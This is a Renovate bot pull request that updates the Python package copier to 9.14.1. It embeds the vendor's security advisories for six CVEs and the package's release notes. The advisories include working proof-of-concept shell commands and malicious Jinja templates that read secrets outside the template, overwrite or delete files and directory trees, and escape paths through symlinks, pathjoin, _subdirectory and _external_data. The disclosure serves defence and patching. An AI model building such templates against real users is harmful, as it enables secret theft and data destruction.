Skip to content

Update dependency copier to v9.14.1 [SECURITY]#279

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/pypi-copier-vulnerability
Open

Update dependency copier to v9.14.1 [SECURITY]#279
renovate[bot] wants to merge 1 commit intomainfrom
renovate/pypi-copier-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Aug 18, 2025

This PR contains the following updates:

Package Change Age Confidence
copier ==9.3.1==9.14.1 age confidence

GitHub Vulnerability Alerts

CVE-2025-55201

Impact

Copier's current security model shall restrict filesystem access through Jinja:

  • Files can only be read using {% include ... %}, which is limited by Jinja to reading files from the subtree of the local template clone in our case.
  • Files are written in the destination directory according to their counterparts in the template.

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.

Arbitrary read access

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

  • Read known file:

    echo "s3cr3t" > secret.txt
    mkdir src/
    echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja
    uvx copier copy src/ dst/
    cat dst/stolen-secret.txt
  • Read unknown file(s) via globbing:

    mkdir secrets/
    echo "s3cr3t #​1" > secrets/secret1.txt
    echo "s3cr3t #​2" > secrets/secret2.txt
    mkdir src/
    cat <<'EOF' > src/stolen-secrets.txt.jinja
    stolen secrets:
    {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %}
    {% for f in parent.glob('*.txt') %}
    {{ f }}: {{ f.read_text('utf-8') }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat dst/stolen-secrets.txt

Arbitrary write access

Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.

Reproducible examples:

  • Overwrite known file:

    echo "s3cr3t" > secret.txt
    mkdir src/
    echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja
    uvx copier copy src/ dst/
    cat secret.txt
  • Overwrite unknown file(s) via globbing:

    echo "s3cr3t" > secret.txt
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..').resolve() %}
    {% for f in (parent.glob('*.txt') | list) %}
    {{ f.write_text('OVERWRITTEN', 'utf-8') }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat secret.txt
  • Delete unknown file(s) via globbing:

    echo "s3cr3t" > secret.txt
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..').resolve() %}
    {% for f in (parent.glob('*.txt') | list) %}
    {{ f.unlink() }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat secret.txt
  • Delete unknown files and directories via tree walking:

    mkdir data
    mkdir data/a
    mkdir data/a/b
    echo "foo" > data/foo.txt
    echo "bar" > data/a/bar.txt
    echo "baz" > data/a/b/baz.txt
    tree data/
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %}
    {% for root, dirs, files in parent.walk(top_down=False) %}
    {% for name in files %}
    {{ (root / name).unlink() }}
    {% endfor %}
    {% for name in dirs %}
    {{ (root / name).rmdir() }}
    {% endfor %}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    tree data/

CVE-2025-55214

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a generated directory structure whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin pathjoin Jinja filter and its builtin _copier_conf.sep variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

Write access via generated relative path

Reproducible example:

echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin('..', 'forbidden.txt') }}"
uvx copier copy src/ dst/
cat forbidden.txt

Write access via generated absolute path

Reproducible example:

  • POSIX:

    # Assumption: The current working directory is `/tmp/test-copier-vulnerability/`
    echo "foo" > forbidden.txt
    mkdir src/
    echo "bar" > "src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}"
    uvx --from copier python -O -m copier copy --overwrite src/ dst/
    cat forbidden.txt
  • Windows (PowerShell):

    # Assumption: The current working directory is `C:\Users\<user>\Temp\test-copier-vulnerability`
    echo "foo" > forbidden.txt
    mkdir src
    Set-Content -Path src\copier.yml @&#8203;'
    drive:
      type: str
      default: "C:"
      when: false
    '@&#8203;
    echo "bar" > "src\{{ pathjoin(drive, 'Users', '<user>', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}"
    uvx --from copier python -O -m copier copy --overwrite src dst
    cat forbidden.txt

This scenario is slightly less severe, as Copier has a few assertions of the destination path being relative which would typically be raised. But python -O (or PYTHONOPTIMIZE=x) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the --overwrite flag for non-interactive mode; yet malicious file writes might go unnoticed.

CVE-2026-23968

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with _preserve_symlinks: false (which is Copier's default setting).

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

  • Illegally include a file in the generated project via symlink resolution:

    echo "s3cr3t" > secret.txt
    
    mkdir src/
    pushd src/
    ln -s ../secret.txt stolen-secret.txt
    popd
    
    uvx copier copy src/ dst/
    
    cat dst/stolen-secret.txt
    #s3cr3t
  • Illegally include a directory in the generated project via symlink resolution:

    mkdir secrets/
    pushd secrets/
    echo "s3cr3t" > secret.txt
    popd
    
    mkdir src/
    pushd src/
    ln -s ../secrets stolen-secrets
    popd
    
    uvx copier copy src/ dst/
    
    tree dst/
    # dst/
    # └── stolen-secrets
    #     └── secret.txt
    #
    # 1 directory, 1 file
    cat dst/stolen-secrets/secret.txt
    # s3cr3t

Patches

n/a

Workarounds

n/a

References

n/a

CVE-2026-23986

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with _preserve_symlinks: true and a generated directory structure whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

Note

At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using os.scandir which yields directory entries in arbitrary order.

Reproducible example (may or may not work depending on directory entry yield order):

mkdir other/
pushd other/
echo "sensitive" > sensitive.txt
popd

mkdir src/
pushd src/
ln -s ../other other
echo "overwritten" > "{{ pathjoin('other', 'sensitive.txt') }}.jinja"
echo "_preserve_symlinks: true" > copier.yml
tree .

# .
# ├── copier.yml

# ├── other -> ../other
# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja

#
# 1 directory, 2 files
popd

uvx copier copy --overwrite src/ dst/

cat other/sensitive.txt

# overwritten

Patches

n/a

Workarounds

n/a

References

n/a

CVE-2026-34726

Summary

Copier's _subdirectory setting is documented as the subdirectory to use as the template root. However, the current implementation accepts parent-directory traversal such as .. and uses it directly when selecting the template root.

As a result, a template can escape its own directory and make Copier render files from the parent directory without --UNSAFE.

Details

The relevant code path is:

  1. the template defines _subdirectory
  2. Copier renders that string
  3. template_copy_root returns self.template.local_abspath / subdir
  4. Copier walks that directory as the template root

Relevant code:

The effective sink is:

subdir = self._render_string(self.template.subdirectory) or ""
return self.template.local_abspath / subdir

There is no check that the resulting path stays inside the template directory.

The documentation for _subdirectory describes it as:

Subdirectory to use as the template root when generating a project.

and explains it as a way to separate template metadata from template source code:

https://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/docs/configuring.md#L1582-L1646

That description fits values like template or poetry, but not ...

PoC

PoC 1: _subdirectory: .. escapes to the parent directory

mkdir -p root/template dst
echo 'loot' > root/loot.txt
printf '%s\n' '_subdirectory: ..' > root/template/copier.yml

copier copy --overwrite root/template dst
find dst -maxdepth 3 -type f | sort
cat dst/loot.txt

Expected output includes:

dst/loot.txt
dst/template/copier.yml
loot

This shows Copier is rendering from root/ rather than from root/template/.

Impact

If a user runs Copier on an untrusted template, that template can change the effective template root and make Copier render files from outside the intended template directory.

Practical impact:

  • template-root escape via ..
  • rendering of parent-directory files that were not meant to be part of the template
  • possible without --UNSAFE

CVE-2026-34730

Summary

Copier's _external_data feature allows a template to load YAML files using template-controlled paths. The documentation describes these values as relative paths from the subproject destination, so relative paths themselves appear to be part of the intended feature model.

However, the current implementation also allows destination-external reads, including:

  • Parent-directory paths such as ../secret.yml
  • Absolute paths such as /tmp/secret.yml

and then exposes the parsed contents in rendered output.

This is possible without --UNSAFE, which makes the behavior potentially dangerous when Copier is run against untrusted templates. I am not certain this is unintended behavior, but it is security-sensitive and appears important to clarify.

Details

The relevant flow is:

  1. A template defines _external_data
  2. Copier renders the configured path string
  3. Copier calls load_answersfile_data(dst_path, rendered_path, warn_on_missing=True)
  4. load_answersfile_data() opens Path(dst_path, answers_file) directly
  5. Parsed YAML becomes available as _external_data.<name> during rendering

Relevant code:

The sink is:

with Path(dst_path, answers_file).open("rb") as fd:
    return yaml.safe_load(fd)

There is no containment check to ensure the resulting path stays inside the subproject destination.

This is notable because Copier already blocks other destination-escape paths. Normal render-path traversal outside the destination is expected to raise ForbiddenPathError, and that behavior is explicitly covered by existing tests in https://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/tests/test_copy.py#L1289-L1332. _external_data does not apply an equivalent containment check.

The public documentation describes _external_data values as relative paths "from the subproject destination" in https://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/docs/configuring.md#L944-L1005, with examples using .copier-answers.yml and .secrets.yaml. That clearly supports relative-path usage, but it does not clearly communicate that a template may escape the destination with ../... or read arbitrary absolute paths. Because this behavior also works without --UNSAFE, it seems worth clarifying whether destination-external reads are intended, and if so, whether they should be documented as security-sensitive behavior.

PoC

PoC 1: _external_data reads outside the destination with ../

mkdir src dst
echo 'token: topsecret' > secret.yml

printf '%s\n' '_external_data:' '  secret: ../secret.yml' > src/copier.yml
printf '%s\n' '' > src/leak.txt.jinja

copier copy --overwrite src dst
cat dst/leak.txt

Expected output:

topsecret

PoC 2: _external_data reads an absolute path

mkdir abs-src abs-dst
echo 'token: abssecret' > absolute-secret.yml

printf '%s\n' '_external_data:' "  secret: $(pwd)/absolute-secret.yml" > abs-src/copier.yml
printf '%s\n' '' > abs-src/leak.txt.jinja

copier copy --overwrite abs-src abs-dst
cat abs-dst/leak.txt

Expected output:

abssecret

Impact

If untrusted templates are in scope, a malicious template can read attacker-chosen YAML-parseable local files that are accessible to the user running Copier and expose their contents in rendered output.

Practical impact:

  • Destination-external local file read
  • Disclosure of YAML/JSON/plain-text-like secrets if they parse successfully under yaml.safe_load
  • Possible without --UNSAFE

Release Notes

copier-org/copier (copier)

v9.14.1

Compare Source

Refactor
  • make YieldExtension self-contained
Security
  • require --trust for _external_data paths outside subproject root
  • disallow _subdirectory path outside template root

v9.14.0

Compare Source

Feat
  • cli: add --answers-file flag to check-update command
Fix
  • only warn about dirty template when checking out HEAD
  • cli: show only supported flags in check-update command help output

v9.13.1

Compare Source

Fix
  • vcs: make Git version parsing robust to vendor-suffixed patch versions

v9.13.0

Compare Source

Feat
  • add CLI subcommand check-update to check for new template version (#​2463)
Refactor
  • cli: call public run_* functions instead of internal Worker.run_* methods

v9.12.0

Compare Source

Feat
  • add new settings API with minimal surface
  • re-export Phase enum at package level
Fix
  • updating: apply skip-if-exists patterns as gitignore-style at subproject root in
    update algorithm
  • updating: anchor removed file paths to project root in update algorithm
  • updating: normalize user-deleted paths before skip-if-exists pattern matching
    during updates
Refactor
  • typing: use builtin types in public API signatures
  • deprecate public settings module and its symbols
  • replace **kwargs with explicit parameters in run_{copy,recopy,update} functions

v9.11.3

Compare Source

Fix
  • updating: include non-question answers when generating fresh copy of new
    template
  • updating: ignore Git hooks on internal checkout before 3-way merging file with
    conflicts (#​2432)
  • avoid pattern deprecation warning for pathspec v1.0.0+

v9.11.2

Compare Source

Fix
  • updating: restore support for preserved symlinks pointing outside subproject
    (#​2427)
Security
  • disallow symlink-based includes outside template root
  • disallow symlink-following write operations outside destination directory (#​2427)

v9.11.1

Compare Source

Fix
  • updating: avoid circular reference when rendering JSON-serialized _copier_conf
    variable

v9.11.0

Compare Source

Feat
  • updating: allow updating a dirty Git repository when the subproject directory is
    clean (#​2369)
  • add support for custom question icons (#​2381)
  • add support for conditionally unsetting a question's default value
Fix
  • raise warning instead of error when chmod is not allowed
  • fix using default answers from settings for required questions (#​2374)
Refactor
  • drop support for Python 3.9

v9.10.3

Compare Source

Fix
  • updating: render templated skip-if-exists patterns before applying patch with
    excluded paths
  • updating: exclude only Git-ignored files when applying patch
  • updating: ignore paths added to the _exclude list in new template version when
    updating

v9.10.2

Compare Source

Fix
  • deps: remove prompt-toolkit version cap

v9.10.1

Compare Source

Fix
  • deps: cap prompt-toolkit to <3.0.52

v9.10.0

Compare Source

Feat
  • add support for nested multi-document includes in copier.yml (#​2251)
Fix
  • disable default answer validator for secret questions

v9.9.1

Compare Source

Security
  • disallow render paths outside destination directory
  • cast Jinja context path variables to pathlib.PurePath

v9.9.0

Compare Source

Feat
  • add support for prompting filesystem paths (#​2210)
Fix
  • updating: disable secret question validator when replaying old copy
  • vcs: fix cloning local dirty template repo when core.fsmonitor=true (#​2151)

v9.8.0

Compare Source

Feat
  • add support for providing serialized answers to multiselect choice questions
  • updating: add VCS ref sentinel :current: for referring to the current template
    ref
Fix
  • avoid infinite recursion when accessing _copier_conf.answers_file via Jinja
    context hook
  • validate default answers
  • correct git stage order on merge conflicts

v9.7.1

Compare Source

Refactor
  • import from module _tools instead of tools

v9.7.0

Compare Source

Feat
  • raise new TaskError exception on task errors
  • raise InteractiveSessionError when prompting in non-interactive environment
Fix
  • settings: use <CONFIG_ROOT>/copier as settings directory on Windows (#​2071)
  • updating: ignore last answer of when: false questions
  • restore access to full rendering context in prompt phase
Refactor
  • re-expose API with deprecation warnings on non-public API imports
  • rename internal modules with a _ prefix

v9.6.0

Compare Source

Feat
  • Add _copier_operation variable (#​1733)
  • context: expose a _copier_phase context variable
Fix
  • explicitly specify file encoding for windows (#​2007)
  • auto-detect encoding when reading external data file
  • settings: auto-detect encoding when reading settings file
  • cli: auto-detect encoding when reading unicode-encoded file specified with
    --data-file
  • expose only answers in question rendering context
  • ignore $file if $file.tmpl exists when subdirectory is used
  • decode external data file content explicitly as UTF-8
  • decode answers file content explicitly as UTF-8
Refactor
  • use common answers file loader

v9.5.0

Compare Source

Feat
  • external_data: load data from other YAML files
  • settings: allow to define some trusted repositories or prefixes
  • settings: add user settings support with defaults values (fix #​235)
  • add dynamic file structures in loop using yield-tag (#​1855)
  • add support for dynamic choices
Fix
  • correctly record missing stages in index for merge conflicts (#​1907)
  • allow importing from a file that has a conditional name
  • updating: don't crash when file is removed from template's .gitignore file
    (#​1886)
  • deps: update dependency packaging to v24.2
  • re-render answers file path when producing render context
  • restore compatibility with Git prior to v2.31 (#​1838)
  • updating: don't validate computed values
  • Don't mark files without conflict markers as unmerged (#​1813)

v9.4.1

Compare Source

Fix
  • restore support for preserve_symlinks: false for directories (#​1820)

v9.4.0

Compare Source

Fix
  • exclude: support negative exclude matching child of excluded parent
  • parse new answer when --skip-answered is used
  • validate answers to secret questions
  • updating: do not recreate deleted paths on update (#​1719)
  • support Git config without user identity
Refactor
  • set default value for keep_trailing_newline more idiomatically
  • drop support for Python 3.8
Perf
  • updating: avoid creating subproject copy

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies Pull requests that update a dependency file label Aug 18, 2025
@renovate renovate bot force-pushed the renovate/pypi-copier-vulnerability branch from c02b087 to f1f67f1 Compare January 22, 2026 01:08
@renovate renovate bot changed the title Update dependency copier to v9.9.1 [SECURITY] Update dependency copier to v9.11.2 [SECURITY] Jan 22, 2026
@renovate renovate bot changed the title Update dependency copier to v9.11.2 [SECURITY] Update dependency copier to v9.11.2 [SECURITY] - autoclosed Mar 27, 2026
@renovate renovate bot closed this Mar 27, 2026
@renovate renovate bot deleted the renovate/pypi-copier-vulnerability branch March 27, 2026 01:02
@github-project-automation github-project-automation bot moved this from Do to Done in boilerdata Mar 27, 2026
@renovate renovate bot changed the title Update dependency copier to v9.11.2 [SECURITY] - autoclosed Update dependency copier to v9.11.2 [SECURITY] Mar 30, 2026
@renovate renovate bot reopened this Mar 30, 2026
@renovate renovate bot force-pushed the renovate/pypi-copier-vulnerability branch from abf6131 to f1f67f1 Compare March 30, 2026 20:54
@github-project-automation github-project-automation bot moved this from Done to Doing in boilerdata Mar 30, 2026
@renovate renovate bot force-pushed the renovate/pypi-copier-vulnerability branch from f1f67f1 to abf6131 Compare March 30, 2026 20:54
@renovate renovate bot force-pushed the renovate/pypi-copier-vulnerability branch from abf6131 to 9ddde51 Compare April 2, 2026 00:57
@renovate renovate bot changed the title Update dependency copier to v9.11.2 [SECURITY] Update dependency copier to v9.14.1 [SECURITY] Apr 2, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file

Projects

Status: Doing

Development

Successfully merging this pull request may close these issues.

0 participants